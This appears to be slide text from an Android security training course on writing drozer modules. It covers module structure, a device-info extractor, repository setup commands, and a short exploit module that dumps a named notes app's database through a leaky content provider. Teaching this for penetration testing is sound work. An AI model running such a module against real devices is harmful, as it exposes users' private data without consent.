Android Security & Exploitation

Aditya Gupta (@adi1391)

Founder, Attify (http://attify.com)

adi@attify.com

Certifications : http://securitytube-training.com
Pentester Academy : http://PentesterAcademy.com

Drozer Scripting

- Could be used to automate tasks
- Build your own private repo of vulns/exploits
- Will take an example of Information Extractor by Keith Makan (in the book - Android Security Cookbook)

Structure of a drozer module

```
Name the file : ex.device.info

from drozer.modules import Module
class Info(Module):
    name=“---”
    description=“---”
    examples=“--”
    author=“---”
    license=“--”
    path =[“ex”,”device”]

    def execute(self, arguments):
        [code]
```

Simple Information Extractor

- Have a look at
  http://developer.android.com/reference/android/os/Build.html

- ```
  def execute(self,arguments):
    build = self.new("android.os.Build")
    self.stdout.write("Getting device info...\n")
    self.stdout.write("[*] BOARD : %s\n" % (build.BOARD))
  ```
  ```

Creating a drozer repo

- Save the file as ex.device.info
- dz> module repository create absolute-new-folder-name
- dz> module install /absolute/ex.device.info
- run ex.device.info

Automating Exploitation

```
from drozer.modules import common, Module

class Catch(Module, common.TableFormatter, common.Provider):

    name = "Exploits the catch application"
    description = """Exploit a leaky content provider to read the catch notes database."""
    examples = """dz> run exploit.pilfer.general.catch
             ...  ..."""
    author = "Aditya Gupta"
    date = "2014-29-01"
    license = "Some Stuff"
    path = ["exploit", "pilfer", "general"]

    def execute(self, arguments):
        data = self.getResultSet(self.contentResolver().query("content://com.threebanana.notes.provider.NotePad/notes"))
        self.print_table(data, show_headers=True, vertical=True)
```